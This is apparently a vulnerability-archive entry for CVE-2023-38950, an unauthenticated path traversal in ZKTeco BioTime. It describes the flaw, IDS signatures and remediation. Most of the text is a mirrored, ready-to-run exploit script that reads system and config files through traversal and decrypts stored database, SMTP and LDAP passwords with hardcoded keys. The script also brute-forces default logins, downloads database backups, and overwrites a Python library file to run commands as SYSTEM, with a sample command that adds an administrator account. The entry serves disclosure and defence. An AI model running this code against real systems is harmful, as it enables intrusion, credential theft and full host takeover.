PoC Archive PoC Archive
High CVE-2023-38950 patched

ZKTeco BioTime v8.5.5 Unauthenticated Path Traversal / Arbitrary File Read via iclock API (CVE-2023-38950)

by Discovered/disclosed by Claroty Team82; public PoC by @w3bd3vil (Krash Consulting) · 2026-07-11

Metadata

FieldValue
Date Added2026-07-11
Last UpdatedN/A
Author / ResearcherDiscovered/disclosed by Claroty Team82; public PoC by @w3bd3vil (Krash Consulting)
CVE / AdvisoryCVE-2023-38950
Categoryweb
SeverityHigh
CVSS Score7.5 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
StatusWeaponized (public PoC, in CISA KEV)
Tagszkteco, biotime, path-traversal, arbitrary-file-read, cwe-22, unauthenticated, remote, iclock-api, kev
RelatedDisclosed alongside CVE-2023-38951 (authenticated path traversal / arbitrary file write via SFTP settings, leading to RCE) and CVE-2023-38952 (insecure access control on backup/static file resources); N/A within this archive

Affected Target

FieldValue
Software / SystemZKTeco BioTime (web-based time & attendance / access control management platform)
Versions AffectedBioTime v8.5.5 (Windows builds observed: 20211030.13012, 20231103.R1905); the public PoC also targets 9.0.1 (20240108.18753). Fixed in ZKBioTime version 9.0.120240617.19506 (Middle East build line fixed in 8.5.5.2944).
Language / PlatformPython 2.7 / 3.7 backend (Django, mod_wsgi under Apache), Windows Server hosting (observed banners: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7, Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7)
Authentication RequiredNo
Network Access RequiredYes (remote, over HTTP/HTTPS to the BioTime web management port, commonly :80/:81/:8088)

Summary

ZKTeco BioTime v8.5.5 exposes the iclock device-communication API endpoint (/iclock/file) without authentication. The url query parameter, which is meant to reference firmware/log filenames pulled by physical biometric terminals, is concatenated into a filesystem path without normalization or restriction to an allowed directory. By supplying a payload of ../ sequences, a remote, unauthenticated attacker can read arbitrary files from the underlying Windows filesystem, including BioTime’s own configuration file (attsite.ini), which contains RC4-“encrypted” (effectively obfuscated, trivially reversible) credentials for the database, SMTP, and LDAP integrations. This is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), tracked as CVE-2023-38950, CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N). CISA added it to the Known Exploited Vulnerabilities (KEV) catalog on 2025-05-19 (due date 2025-06-09) following reports of in-the-wild exploitation, roughly two years after initial disclosure.

CVE-2023-38950 was disclosed by Claroty Team82 as part of a batch of ZKTeco BioTime findings. It is closely related to, but distinct from, two other CVEs disclosed in the same research: CVE-2023-38951 (authenticated path traversal in the /base/sftpsetting/ endpoints’ Username field combined with unsanitized SSH-key content, allowing arbitrary file write and ultimately remote code execution as NT AUTHORITY\SYSTEM) and CVE-2023-38952 (insecure access control allowing unauthenticated/under-authorized retrieval of sensitive backup files and other static resources). This entry documents CVE-2023-38950 specifically — the unauthenticated file-read primitive — and notes where the public PoC repo bundles the other two.


Vulnerability Details

Root Cause

The iclock API is BioTime’s device-facing endpoint used by physical fingerprint/attendance terminals to push and pull configuration, firmware, and log files. The handler behind GET /iclock/file takes a url parameter and reads the referenced file relative to a base directory, base64-encoding the contents in the response. The parameter is not validated against path-traversal sequences (../) or canonicalized/confined to the intended subdirectory, so an attacker can walk up the directory tree and reference arbitrary absolute paths on the host filesystem. Because this endpoint is designed for unauthenticated device check-ins (terminals do not log in as web users), it carries no session/auth check at all, making the traversal fully unauthenticated.

Attack Vector

Unauthenticated remote HTTP GET request to the iclock file endpoint with a crafted url parameter containing directory-traversal sequences, e.g.:

GET /iclock/file?SN=win&url=/../../../../../../../../windows/win.ini HTTP/1.1
Host: <target>

The response body is the target file’s contents, base64-encoded. The SN parameter (device serial number) is not meaningfully validated and can be set to an arbitrary placeholder.

Impact

  • Disclosure of arbitrary files readable by the BioTime service account (typically running as, or with rights approaching, SYSTEM on Windows deployments).
  • In practice this is used to pull BioTime’s own attsite.ini (found at C:\biotime\attsite.ini or C:\zkbiotime\attsite.ini depending on install layout), which contains the application’s database, SMTP, and LDAP/SFTP credentials, RC4-obfuscated with a hardcoded key (biotime) — trivially reversible.
  • The recovered credentials/config are commonly chained into further compromise: authenticating to the web app (BioTime historically ships with weak/default employee credentials, e.g. numeric usernames with password 123456), pulling database backups, decrypting stored SMTP/LDAP secrets via a hardcoded AES key, and — when chained with the separately-tracked CVE-2023-38951 SFTP path-traversal/arbitrary-file-write bug — achieving remote code execution as NT AUTHORITY\SYSTEM.
  • On its own, CVE-2023-38950 is a confidentiality-only primitive (no integrity/availability impact per its CVSS vector: C:H/I:N/A:N), but it is a practical stepping stone to full compromise given how BioTime deployments are typically configured.

Environment / Lab Setup

OS:          Windows Server (BioTime is distributed as a Windows-hosted web app)
Target:      ZKTeco BioTime v8.5.5 (Build 20231103.R1905) or 9.0.1 (Build 20240108.18753)
Attacker:    Any host with network access to the BioTime web management port
Tools:       curl / Burp Suite, or the public Python PoC (biotime_enum.py)

No official vulnerable Docker image is published by ZKTeco; the software is typically distributed as a Windows installer. Reproduction requires either a licensed/trial BioTime installation on a Windows VM, or testing directly against an authorized target.

Setup Steps


Proof of Concept

The public PoC repository referenced for this entry, omair2084/biotime-rce-8.5.5 (author: @w3bd3vil, Krash Consulting), contains a single script — biotime_enum.py — that chains all three disclosed CVEs (CVE-2023-38950, CVE-2023-38951, CVE-2023-38952) into one end-to-end exploitation flow, plus a README.md pointing to the author’s writeup at krashconsulting.com/fury-of-fingers-biotime-rce/. The repo does not separate the CVEs into distinct files or flags — it is a single linear script. Only the first stage of that script demonstrates CVE-2023-38950 specifically; the remainder demonstrates the related-but-distinct CVEs. Below is an accurate breakdown of which part of the script maps to which CVE, based on what was actually fetched from the repo (not invented):

Script stageCVE demonstrated
GET /iclock/file?SN=win&url=/../../../../../../../../windows/win.ini and the same against attsite.ini — unauthenticated directory traversal / arbitrary file readCVE-2023-38950 (this entry)
Brute-forcing default employee credentials (numeric username + password 123456), downloading DB backups via /files/..., reading SMTP/LDAP settings via /base/api/systemSettings/...Related to CVE-2023-38952 (insecure access control / weak default credentials leading to sensitive data exposure) — not the traversal bug itself
sftpRCE() — abusing /base/sftpsetting/edit/ by putting a ../ traversal payload in the user_name field to overwrite a Python interpreter library file (\..\..\..\python37\lib\io.py or \..\..\..\python311\lib\io.py) with attacker-controlled code via the SSH key field, then triggering executionCVE-2023-38951 (authenticated path traversal / arbitrary file write leading to RCE as NT AUTHORITY\SYSTEM)

Step-by-Step Reproduction (CVE-2023-38950 portion only)

  1. Fingerprint the target — confirm it is a BioTime instance and grab the build banner:

    1
    
    curl -sk http://<target>:<port>/license/ | grep -i build
    
  2. Trigger the traversal — request the iclock/file endpoint with a url parameter walking up to the Windows system directory:

    1
    
    curl -sk "http://<target>:<port>/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini"
    

    The response body is base64-encoded; decode it to confirm arbitrary file read:

    1
    
    curl -sk "http://<target>:<port>/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini" | base64 -d
    
  3. Pull BioTime’s own config for credential harvesting — repeat against the install’s attsite.ini (default paths differ by version/region):

    1
    2
    3
    
    curl -sk "http://<target>:<port>/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini" | base64 -d
    # or, on newer installs:
    curl -sk "http://<target>:<port>/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini" | base64 -d
    

    Any PASSWORD=@!@=<blob> fields in the returned INI are RC4-“encrypted” with the hardcoded key biotime and are trivially decryptable (see decrypt_rc4() in the PoC below).

Exploit Code

See biotime_enum.py in this folder — mirrored verbatim from omair2084/biotime-rce-8.5.5. It’s a multi-stage script covering all three related CVEs (see the scoping table above); the excerpt below is the portion that exercises CVE-2023-38950 specifically — the unauthenticated traversal/read and the accompanying RC4 config-decryption helper.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Cipher import ARC4
import base64, requests

def decrypt_rc4(base64_encoded_rc4, password="biotime"):
    encrypted_data = base64.b64decode(base64_encoded_rc4)
    cipher = ARC4.new(password.encode())
    decrypted_data = cipher.decrypt(encrypted_data)
    return decrypted_data.decode()

url = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'
response = requests.get(url, verify=False)
print("Dir Traversal Attempt\nOutput of windows/win.ini file:")
print(base64.b64decode(response.text).decode('utf-8'))

url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini'
response = requests.get(url, verify=False)
attConfig = base64.b64decode(response.text).decode('utf-8')

lines = attConfig.split('\n')
for i, line in enumerate(lines):
    if "PASSWORD=@!@=" in line:
        dec_att = decrypt_rc4(lines[i].split("@!@=")[1])
        lines[i] = lines[i].split("@!@=")[0] + dec_att
print('\n'.join(lines))

Expected Output

Dir Traversal Attempt
Output of windows/win.ini file:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
...
[+] Output of BioTime Decrypted config file:
[Database]
NAME=biotime
USER=...
PASSWORD=<decrypted plaintext>
...

(Sample output above is taken from the PoC repo’s own README, run against a v8.0.5 test instance; field values will vary per deployment.)


Screenshots / Evidence

None captured for this entry — reproduction was not performed against a live instance; this writeup is grounded in the fetched PoC source and Claroty/NVD disclosure text (see References).


Detection & Indicators of Compromise

"GET /iclock/file?SN=*&url=*..%2f* HTTP/1.1"
"GET /iclock/file?SN=*&url=/../../../../ HTTP/1.1"

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"ZKTeco BioTime iclock path traversal attempt (CVE-2023-38950)"; content:"/iclock/file"; http_uri; content:"url="; http_uri; pcre:"/url=.*(\.\.\/|\.\.%2f|\.\.\\\\)/i"; sid:9000002;)

Remediation

ActionDetail
PatchUpgrade to ZKBioTime version 9.0.120240617.19506 or later (Middle East build line: 8.5.5.2944 or later).
WorkaroundRestrict network access to the BioTime web management interface to trusted management networks only; do not expose it directly to the internet. Place a reverse proxy/WAF in front that blocks traversal sequences in the url parameter of /iclock/file.
Config HardeningRotate all credentials stored in attsite.ini (DB, SMTP, LDAP) after any suspected exposure, since the obfuscation (hardcoded RC4 key biotime) provides no real confidentiality. Follow CISA KEV guidance: apply vendor mitigations per BOD 22-01 for internet-facing/cloud instances, or discontinue use if mitigations are unavailable.

References


Notes

This entry was surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11 and ingested from public sources: the Claroty Team82 disclosure dashboard (https://claroty.com/team82/disclosure-dashboard/cve-2023-38950) for root-cause/CVSS/CWE detail, and the omair2084/biotime-rce-8.5.5 GitHub repository for the Proof-of-Concept content, both fetched directly (via WebFetch and gh api) rather than reconstructed from memory.

Important scoping caveat: the public PoC repo bundles CVE-2023-38950, CVE-2023-38951, and CVE-2023-38952 into a single script without clearly labeling which stage corresponds to which CVE identifier — the mapping in the Proof of Concept section above was inferred by cross-referencing the script’s request targets and behavior against each CVE’s NVD/Claroty description, not asserted by the PoC author. Treat that mapping as this archive’s best-effort attribution rather than an upstream-confirmed one-to-one mapping.

The Claroty Team82 disclosure dashboard page itself is a thin index entry (product name, CVE, one-line description, CVSS) and does not host a full technical writeup; deeper root-cause narrative for the traversal mechanics was reconstructed from the NVD CVE description plus direct reading of the PoC script’s HTTP requests, not from a detailed Claroty blog post (the fuller Team82 blog post, if one exists beyond the dashboard entry, was not located during this research pass). The krashconsulting.com writeup returned HTTP 403 when fetched directly and could not be read in full; its content was not used beyond what the repo’s own README/script comments state.

CVSS score, vector, CWE-22 classification, and the fixed version string (9.0.120240617.19506) were independently confirmed against the NVD CVE-2023-38950 record and match the values specified for this entry. Not independently verified: the precise default install directory layout across all BioTime versions/regions (the PoC script itself tries multiple candidate paths, suggesting this varies), and any specific in-the-wild exploitation campaign details behind CISA’s May 2025 KEV addition (CISA’s KEV entry does not itself detail the exploitation campaign; only that active exploitation was observed).

biotime_enum.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
#  __________.__     ___________.__                
#  \______   \__| ___\__    ___/|__| _____   ____  
#   |    |  _/  |/  _ \|    |   |  |/     \_/ __ \ 
#   |    |   \  (  <_> )    |   |  |  Y Y  \  ___/ 
#   |______  /__|\____/|____|   |__|__|_|  /\___  >
#          \/                            \/     \/ 
# Tested on 8.5.5 (Build:20231103.R1905)
# Tested on 9.0.1 (Build:20240108.18753)
# BioTime, "time" for shellz!
# https://nvd.nist.gov/vuln/detail/cve-2024-13966
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38952
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38951
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38950
# RCE by adding a user to the system, not the app.
# Relay machine creds over smb, while creating a backup
# Decrypt SMTP, LDAP or SFTP creds, if any.
# Get sql backup. Good luck cracking those hashes!
# Can use Banner to determine which version is running
# Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7
# Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7
# Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7
# Server: Apache => BioTime Version 9
# @w3bd3vil - Krash Consulting (https://krashconsulting.com)
import requests
from bs4 import BeautifulSoup
import os
import json
import sys
from Crypto.Cipher import AES
from Crypto.Cipher import ARC4
import base64
from binascii import b2a_hex, a2b_hex

requests.packages.urllib3.disable_warnings()

proxies = {
    'http': 'http://127.0.0.1:8080',  # Proxy for HTTP traffic
    'https': 'http://127.0.0.1:8080'  # Proxy for HTTPS traffic
}
proxies = {}

if len(sys.argv) < 2:
    print(f"Usage: python3 {sys.argv[0]} http://vuln.site.com:88")
    sys.exit(1)

print(r"__________.__     ___________.__                ")
print(r"\______   \__| ___\__    ___/|__| _____   ____  ")
print(r" |    |  _/  |/  _ \|    |   |  |/     \_/ __ \ ")
print(r" |    |   \  (  <_> )    |   |  |  Y Y  \  ___/ ")
print(r" |______  /__|\____/|____|   |__|__|_|  /\___  >")
print(r"        \/                            \/     \/ ")
print(r"                    @w3bd3vil - Krash Consulting")

target =  sys.argv[1]



def decrypt_rc4(base64_encoded_rc4, password="biotime"):
    encrypted_data = base64.b64decode(base64_encoded_rc4)
    cipher = ARC4.new(password.encode())
    decrypted_data = cipher.decrypt(encrypted_data)
    return decrypted_data.decode()

# base64_encoded_rc4 = "fj8xD5fAY6r6s3I="
# password = "biotime"

# decrypted_data = decrypt_rc4(base64_encoded_rc4, password)
# print("Decrypted data:", decrypted_data)

AES_PASSWORD = b'china@2018encryption#aes'
AES_IV = b'zkteco@china2019'

def filling_data(data, restore=False):
    '''
    :param data: str
    :return: str
    '''
    if restore:
        return data[0:-ord(data[-1])]
    block_size = AES.block_size  # Use AES.block_size instead of None.block_size
    return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size)

def aes_encrypt(content):
    '''
    Encryption
    :param content: str, The length of content must be times of AES.block_size, using filling_data to fill out
    :return: str
    '''
    if isinstance(content, bytes):
        content = str(content, 'utf-8')
    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)
    encrypted = cipher.encrypt(filling_data(content).encode('utf-8'))
    result = b2a_hex(encrypted).decode('utf-8')
    return result

def aes_decrypt(content):
    '''
    Decryption
    :param content: str or bytes, Encryption string
    :return: str
    '''
    if isinstance(content, str):
        content = content.encode('utf-8')
    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)
    result = cipher.decrypt(a2b_hex(content)).decode('utf-8')
    return filling_data(result, restore=True)

#Check BioTime
url = f'{target}/license/'
response = requests.get(url, proxies=proxies, verify=False)
html_content = response.content


soup = BeautifulSoup(html_content, 'html.parser')
build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()]

build = None
for line in build_lines:
    build = line
    print(f"Found BioTime: {line}")
    break

if build != None:
    buildNumber = build[0]
else:
    print("Unsupported Target!")
    sys.exit(1)

# Dir Traversal
url = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'
response = requests.get(url, proxies=proxies, verify=False)
try:
    print("Dir Traversal Attempt\nOutput of windows/win.ini file:")
    print(base64.b64decode(response.text).decode('utf-8'))
    try:
        url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini'
        response = requests.get(url, proxies=proxies, verify=False)
        attConfig = base64.b64decode(response.text).decode('utf-8')
        #print(f"Output of BioTime config file: {attConfig}")
    except:
        try:
            url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini'
            response = requests.get(url, proxies=proxies, verify=False)
            attConfig = base64.b64decode(response.text).decode('utf-8')
            #print(f"Output of BioTime config file: {attConfig}")
        except:
            print("[-] Couldn't get BioTime config file (possibly non default configuration)")
    lines = attConfig.split('\n')

    for i, line in enumerate(lines):
        if "PASSWORD=@!@=" in line:
            dec_att = decrypt_rc4(lines[i].split("@!@=")[1])
            lines[i] = lines[i].split("@!@=")[0]+dec_att
    attConfig_modified = '\n'.join(lines)
    print(f"[+] Output of BioTime Decrypted config file:\n{attConfig_modified}")
except:
    print("[-] Couldn't exploit Dir Traversal")

# Extract Cookies
url = f'{target}/login/'

response = requests.get(url, proxies=proxies, verify=False)

if response.status_code == 200:
    soup = BeautifulSoup(response.text, 'html.parser')

    csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'})
    if csrf_token_header:
        csrf_token_header_value = csrf_token_header['value']
        print(f"CSRF Token Header: {csrf_token_header_value}")
    
    session_id_cookie = response.cookies.get('sessionid')
    if session_id_cookie:
        print(f"Session ID: {session_id_cookie}")
    
    csrf_token_value = response.cookies.get('csrftoken')
    if csrf_token_value:
        print(f"CSRF Token Cookie: {csrf_token_value}")
else:
    print(f"Failed to retrieve data from {url}. Status code: {response.status_code}")

# Login Now!
cookies = {
    'sessionid': session_id_cookie,
    'csrftoken': csrf_token_value
}

for i in range(1,10):
    username = i
    password = '123456' # Deafult password!

    data = {
        'username': username,
        'password': password,
        'captcha':'',
        'login_user':'employee'
    }

    headers = {
        'User-Agent': 'Krash Consulting',
        'X-CSRFToken': csrf_token_header_value
    }

    response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False)

    if response.status_code == 200:
        json_response = response.json()
        ret_value = json_response.get('ret')
        if ret_value == 0:
            print(f"[+] Valid Credentials found: Username is {username} and password is {password}")
            session_id_cookie = response.cookies.get('sessionid')
            if session_id_cookie:
                print(f"Auth Session ID: {session_id_cookie}")
            
            csrf_token_value = response.cookies.get('csrftoken')
            if csrf_token_value:
                print(f"Auth CSRF Token Cookie: {csrf_token_value}")
            break

if i == 9:
    print("[-] No valid users found!")
    sys.exit(1)

# Check for Backups
def downloadBackup():
    url = f'{target}/base/dbbackuplog/table/?page=1&limit=33'
    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }

    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
    response_data = response.json()
    print("Backup files list")
    print(json.dumps(response_data, indent=4))

    if response_data['count'] > 0:
        backup_info = response_data['data'][0]  # Latest Backup
        operator_name = backup_info['operator']
        backup_file = backup_info['backup_file']
        db_type = backup_info['db_type']


        print("Operator:", operator_name)
        print("Backup File:", backup_file)
        print("Database Type:", db_type)

        if buildNumber == "9":
            createBackup()
            print("Backup File password: Krash")

        #download = os.path.basename(backup_file)

        path = os.path.normpath(backup_file)
        try:
            split_path = path.split(os.sep)
            files_index = split_path.index('files')
            relative_path = '/'.join(split_path[files_index + 1:])
        except:
            return False

        url = f'{target}/files/{relative_path}'
        print(url)
        response = requests.get(url, proxies=proxies, verify=False)
        if response.status_code == 200:
            filename = os.path.basename(url)
            with open(filename, 'wb') as file:
                file.write(response.content)
            print(f"[+] Database dump file '{filename}', downloaded successfully.")
        else:
            print("[-] Failed to download the database dump file. Status code:", response.status_code)
        return False
    else:
        print("No backup Found!")
        return True

def createBackup(targetPath=None):
    print("Attempting to create backup.")

    url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id='
    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }
    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
    html_content = response.content

    soup = BeautifulSoup(html_content, 'html.parser')
    pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()]
    print(f"Possible backup location: {pathBackup}")


    url = f'{target}/base/dbbackuplog/action/'

    if targetPath == None:
        if buildNumber == "9" or build[:5] == "8.5.5":
            targetPath = "C:\\ZKBioTime\\files\\backup\\"
        else:
            targetPath = "C:\\BioTime\\files\\fw\\"
    if buildNumber == "9":
        data = {
            'csrfmiddlewaretoken': csrf_token_value,
            'file_path':targetPath,
            'action_name': '44424261636b75704d616e75616c6c79',
            'backup_encryption_choices': '2',
            'auto_backup_password': 'Krash'
        }
    else:
        data = {
            'csrfmiddlewaretoken': csrf_token_value,
            'file_path':targetPath,
            'action_name': '44424261636b75704d616e75616c6c79'
        }
    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)
    if response.status_code == 200:
        print("Backup Initiated.")
    else:
        print("Backup failed!")

if downloadBackup():
    createBackup()
    downloadBackup()

url = f'{target}/base/api/systemSettings/email_setting/'
cookies = {
    'sessionid': session_id_cookie,
    'csrftoken': csrf_token_value
}

response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
if response.status_code == 200:
    response_data = response.json()
    print("SMTP Settings")
    for key in response_data:
        if 'password' in key.lower():
            value = response_data[key]
            #print(f'{key} decrypted value {aes_decrypt(value)}')
            response_data[key] = aes_decrypt(value)

    print(json.dumps(response_data, indent=4))


url = f'{target}/base/api/systemSettings/ldap_setup/'
cookies = {
    'sessionid': session_id_cookie,
    'csrftoken': csrf_token_value
}

response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
if response.status_code == 200:
    response_data = response.json()
    print("LDAP Settings")
    for key in response_data:
        if 'password' in key.lower():
            value = response_data[key]
            #print(f'{key} decrypted value {aes_decrypt(value)}')
            response_data[key] = aes_decrypt(value)
    print(json.dumps(response_data, indent=4))


def sftpRCE():
    print("Attempting RCE!")
    #Add SFTP, Need valid IP/credentials here!
    print("Adding FTP List")
    print("[~] To exploit this file overwrite, a valid SSH credential is required where")
    print("\tthe vulnerable machine will connect back to")
    url = f'{target}/base/sftpsetting/add/'
    # Prompt the user for inputs, with default values
    myIpaddr = input("Enter IP address (ex: 192.168.0.11): ") 
    myUser = input("Enter username (ex: test): ")
    myPassword = input("Enter password (ex: test@123): ")



    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }
    data = {
        'csrfmiddlewaretoken': csrf_token_value,
        'host':myIpaddr,
        'port':22,
        'is_sftp': 1,
        'user_name':myUser,
        'user_password':myPassword,
        'user_key':'',
        'action_name': '47656e6572616c416374696f6e4e6577'
    }
    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)
    print(response)

    url = f'{target}/base/sftpsetting/table/?page=1&limit=33'
    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }

    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
    response_data = response.json()
    print("FTP List")
    print(json.dumps(response_data, indent=4))

    backup_info = response_data['data'][0]  # Latest SFTP
    getID = backup_info['id']

    if getID:
        print("ID to edit ", getID)

    #Edit SFTP (Response can have errors, it doesn't matter)
    print("Editing SFTP Settings")
    if buildNumber == "9":
        dirTraverse = r'\..\..\..\python311\lib\io.py'
    else:
        dirTraverse = r'\..\..\..\python37\lib\io.py'

    if len(dirTraverse) > 30:
        print("Directory Traversal length is greater than 30, will not work!")
        sys.exit(1)

    url = f'{target}/base/sftpsetting/edit/'

    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }
    print("Enter the command to execute")
    print("net user /add omair190 KCP@ssw0rd && net localgroup administrators")
    commandExecute = input(" ")
    data = {
        'csrfmiddlewaretoken': csrf_token_value,
        'host':myIpaddr,
        'port':22,
        'is_sftp': 1,
        'user_name': dirTraverse,
        'user_password':myPassword,
        'user_key':'import os\nos.system("{commandExecute}")',
        'obj_id': getID
    }
    print(data)
    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)
    print("[+] Command should be executed now!")

    #Delete SFTP
    print("Deleting SFTP Settings")
    url = f'{target}/base/sftpsetting/action/'

    cookies = {
        'sessionid': session_id_cookie,
        'csrftoken': csrf_token_value
    }
    data = {
        'csrfmiddlewaretoken': csrf_token_value,
        'id': getID,
        'action_name': '47656e6572616c416374696f6e44656c657465'
    }
    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)

#RCE
if buildNumber == "9" or build[:5] == "8.5.5":
    sftpRCE()

# #Relay Creds
# createBackup("\\\\192.168.0.11\\KC\\test")